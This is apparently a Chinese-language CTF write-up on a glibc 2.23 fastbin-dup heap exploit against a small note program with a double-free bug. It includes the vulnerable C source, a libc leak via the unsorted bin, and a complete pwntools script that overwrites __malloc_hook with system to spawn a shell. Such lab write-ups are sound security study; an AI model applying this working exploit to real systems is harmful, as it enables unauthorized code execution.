Pwn-Fastbin-Dup-1(Glibc 2.23)

2024-07-08

Pwn-Fastbin Dup 1(Glibc 2.23)

Author: 堇姬Naup

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#include <stdio.h>
#include <stdlib.h>

// Testing in libc-2.23
// gcc fastbin_dup.c -o fastbin_dup

char *g_ptrs[0x20];
int g_size[0x20];
int g_used[0x20];
int idx = 0;

void init()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
}

int read_num()
{
int num;

scanf("%d", &num);

return num;
}

void menu()
{
puts("=== Note System v0.87 ===");
puts("1) Create Note");
puts("2) Get Note");
puts("3) Set Note");
puts("4) Delete Note");
puts("5) Bye");
printf("# ");
}

void create()
{
int size;

if (idx >= 0x20) {
return;
}

printf("size:\n");
scanf("%d", &size);

g_ptrs[idx] = malloc(size);
g_size[idx] = size;
g_used[idx] = 1;

printf("Create: g_ptrs[%d]\n", idx);

idx++;
}

void get()
{
int idx;

printf("idx:\n");
scanf("%d", &idx);

if (g_used[idx]) {
printf("g_ptrs[%d]: %s\n", idx, g_ptrs[idx]);
}
}

void set()
{
int idx;

printf("idx:\n");
scanf("%d", &idx);

if (g_used[idx]) {
printf("str:\n");
read(0, g_ptrs[idx], g_size[idx]);
}
}

void delete()
{
int idx;

printf("idx:\n");
scanf("%d", &idx);

if (g_ptrs[idx]) {
free(g_ptrs[idx]);
g_used[idx] = 0;
}
}

int main(void)
{
init();

while(1) {
menu();
switch(read_num()) {
case 1:
create();
break;
case 2:
get();
break;
case 3:
set();
break;
case 4:
delete();
break;
case 5:
return 0;
default:
exit(1);
}
}

return 0;
}

分析

可以輸入1~5,分別對應

1
2
3
4
5
6
7
8
9
10
void menu()
{
puts("=== Note System v0.87 ===");
puts("1) Create Note");
puts("2) Get Note");
puts("3) Set Note");
puts("4) Delete Note");
puts("5) Bye");
printf("# ");
}

create() -> 1

malloc一個chunk,並可以指定一個size

並且把東西存到這三個global variable

1
2
3
char *g_ptrs[0x20];
int g_size[0x20];
int g_used[0x20];

get() -> 2

先確認該chunk存不存在,以及是否是allocated,你可以指定index,然後給你他的內容

set() -> 3

先確認該chunk存不存在,以及是否是allocated
指定index,並可以把內容寫進去chunk裡面

delete -> 4

輸入一個index,若該ptrs存在,則把它free掉,然後把used改成0

1
2
3
4
if (g_ptrs[idx]) {
free(g_ptrs[idx]);
g_used[idx] = 0;
}

觀察一下這裡,他是去找g_ptrs裡面有沒有然後再free掉,但很顯然的g_ptrs就算你free掉了,也不會把它清掉所以就可以double free

並且打這題目前要有一個先備知識,要怎麼leak libc,我們打算透過fastbin dup來改malloc_hook,那就必須要有libc base,這邊可以用unsorted bin來leak,因為當unsorted bin被free掉時候,fd、bk會指向一個libc address

像是這樣,我先malloc一個

image
image

然後free,就可以發現有了

image
image

接下來我透過在malloc一次一樣大小的來拿到同一塊,並且fd、bk沒有被清空,用get,就可以把它印出來了

拿offset

image
image

1
2
3
4
>>> 0x72db424aab78-0x72db420e6000
3951480
>>> hex(3951480)
'0x3c4b78'

目前這樣可以leak libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *

DEBUG=input('open debug?(y/n)')
if DEBUG=='y':
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

def create(size):
r.sendline(b'1')
#print("malloc size: ", size)
r.sendline(str(size).encode())

def get(idx):
r.sendline(b'2')
r.sendline(str(idx).encode())
r.recvuntil(b']: ')
chunk_str=r.recvline().strip()
return chunk_str


def set(index, payload):
r.sendline(b'3')
r.sendline(str(index).encode())
r.send(payload)

def delete(index):
r.sendline(b'4')
r.sendline(str(index).encode())


r = process('./fastbindup')

if DEBUG=='y':
gdb.attach(r)

offset = 0x3c4b78
create(0x480) #unsorted bin
create(0x60)
create(0x60)
create(0x60)

delete(0) #delete unsorted bin -> fd,bk -> libc address
create(0x480)

#print(len(get(4)))

leak_libc=u64(get(4).ljust(8,b'\0'))
libc_base=leak_libc-offset

print("NAUPINFO @ leak libc : ",hex(leak_libc))
print("NAUPINFO @ libc base : ",hex(libc_base))


r.interactive()

再來就是要寫malloc hook了,這邊先做一件事,我們先到malloc hook去看看
我們需要bypass一個安全機制,較chunk size要一樣

image
image

觀察一下會發現,他有很多0x7c之類的東西
如果能把它當header size(推到header最尾端)就可以bypass

推一下就可以把他推到後面了(malloc hook - 0x33)

image
image

所以我們應該跳到(malloc hook - 0x23)

image
image

跳到libc base + malloc hook offset - 0x23

image
image

bypass

接下來要做fastbin dup

1
2
3
4
chunk 0 -> 0x440
chunk 1 -> 0x70
chunk 2 -> 0x70
chunk 3 -> 0x70

free 1、2

1
fastbin -> chunk 2 -> chunk 1

再free 1

1
fastbin -> chunk 1 -> chunk 2 -> chunk 1 -> chunk 2 -> ...

這邊再free 3

1
fastbin -> chunk 3 -> chunk 1 -> chunk 2 -> chunk 1 -> chunk 2 -> ...

這邊注意一點,我想把/bin/sh寫進去到heap裡面,所以我要先leak heap的位置,這邊可以挑1 或 2,都沒差,反正到時候都用不到,我這邊挑chunk 1,因為我把chunk 3 free掉後fd指向chunk 1,所以我malloc回來get就可以拿到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

DEBUG=input('open debug?(y/n)')
if DEBUG=='y':
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

def create(size):
r.sendline(b'1')
#print("malloc size: ", size)
r.sendline(str(size).encode())
#print(r.recvline())

def get(idx):
r.sendline(b'2')
r.sendline(str(idx).encode())
r.recvuntil(b']: ')
chunk_str=r.recvline().strip()
return chunk_str


def set(index, payload):
r.sendline(b'3')
r.sendline(str(index).encode())
r.send(payload)

def delete(index):
r.sendline(b'4')
r.sendline(str(index).encode())


r = process('./fastbindup')

if DEBUG=='y':
gdb.attach(r)

offset = 0x3c4b78

create(0x480) #unsorted bin
create(0x60)
create(0x60)
create(0x60)

delete(0) #delete unsorted bin -> fd,bk -> libc address
create(0x480)

#print(len(get(4)))

leak_libc=u64(get(4).ljust(8,b'\0'))
libc_base=leak_libc-offset

print("NAUPINFO @ leak libc : ",hex(leak_libc))
print("NAUPINFO @ libc base : ",hex(libc_base))

mallochook_offset = 0x3c4b10

malloc_hook = libc_base + mallochook_offset - 0x23
libc_system = 0x0000000000453a0 + libc_base

print('NAUPINFO @ MALLOC_HOOK : ',hex(malloc_hook))

delete(1)
delete(2)
delete(1)

# leak chunk 1
delete(3)
create(0x60)
heap_chunk1 = u64(get(5).ljust(8,b'\0'))
print('NAUPINFO @ CHUNK 1 HEAP(/bin/sh chunk) : ',hex(heap_chunk1))

r.interactive()

現在fastbin chain

1
fastbin -> chunk 1 -> chunk 2 -> chunk 1 -> chunk 2 -> ...

先malloc 1(ptr index 6)

1
2
3
4
5
6
fastbin -> chunk 2 -> chunk 1 -> chunk 2 -> ...
^
chunk 1 _|

chunk 1 (free & allocated)
chunk 2 (free)

把chunk 1 寫入 malloc_hook 位置

1
2
3
4
fastbin -> chunk 2 -> chunk 1 -> malloc_hook

chunk 1 (free & allocated)
chunk 2 (free)

現在
malloc三次,拿到了

1
2
3
chunk 2(ptr index 7)
chunk 1(ptr index 8)
malloc_hook(ptr index 9)

把chunk 1寫入/bin/sh,/bin/sh位置就會在chunk 1 address + 0x10

那malloc hook現在到底在哪裡?

1
2
3
header 0x10
0x10
0x3 malloc hook

所以你要先padding,0x13個a在寫掉malloc hook成system
最後傳入/bin/sh

1
malloc("/bin/sh") -> (*__malloc_hook)("/bin/sh") -> system("/bin/sh")

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *

DEBUG=input('open debug?(y/n)')
if DEBUG=='y':
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

def create(size):
r.sendline(b'1')
#print("malloc size: ", size)
r.sendline(str(size).encode())
#print(r.recvline())

def get(idx):
r.sendline(b'2')
r.sendline(str(idx).encode())
r.recvuntil(b']: ')
chunk_str=r.recvline().strip()
return chunk_str


def set(index, payload):
r.sendline(b'3')
r.sendline(str(index).encode())
r.send(payload)

def delete(index):
r.sendline(b'4')
r.sendline(str(index).encode())


r = process('./fastbindup')

if DEBUG=='y':
gdb.attach(r)

offset = 0x3c4b78

create(0x480) #unsorted bin
create(0x60)
create(0x60)
create(0x60)

delete(0) #delete unsorted bin -> fd,bk -> libc address
create(0x480)

#print(len(get(4)))

leak_libc=u64(get(4).ljust(8,b'\0'))
libc_base=leak_libc-offset

print("NAUPINFO @ leak libc : ",hex(leak_libc))
print("NAUPINFO @ libc base : ",hex(libc_base))

mallochook_offset = 0x3c4b10

malloc_hook = libc_base + mallochook_offset - 0x23
libc_system = 0x453a0 + libc_base

print('NAUPINFO @ MALLOC_HOOK : ',hex(malloc_hook))

delete(1)
delete(2)
delete(1)

# leak chunk 1
delete(3)
create(0x60)
heap_chunk1 = u64(get(5).ljust(8,b'\0'))
print('NAUPINFO @ CHUNK 1 HEAP(/bin/sh chunk) : ',hex(heap_chunk1))

create(0x60)

r.sendline(b'3')
r.sendline(b'6')
r.sendline(p64(malloc_hook))

print('NAUPINFO @ Write Chunk 1 : ',hex(u64(get(6).ljust(8,b'\0'))))

create(0x60) # chunk 2(ptr index 7)
create(0x60) # chunk 1(ptr index 8)
create(0x60) # malloc_hook(ptr index 9)

set(8,b'/bin/sh')

write_malloc_hook_payload = b'a' * 0x13 + p64(libc_system)

r.sendline(b'3')
r.sendline(b'9')
r.sendline(write_malloc_hook_payload)

create(heap_chunk1+0x10)

r.interactive()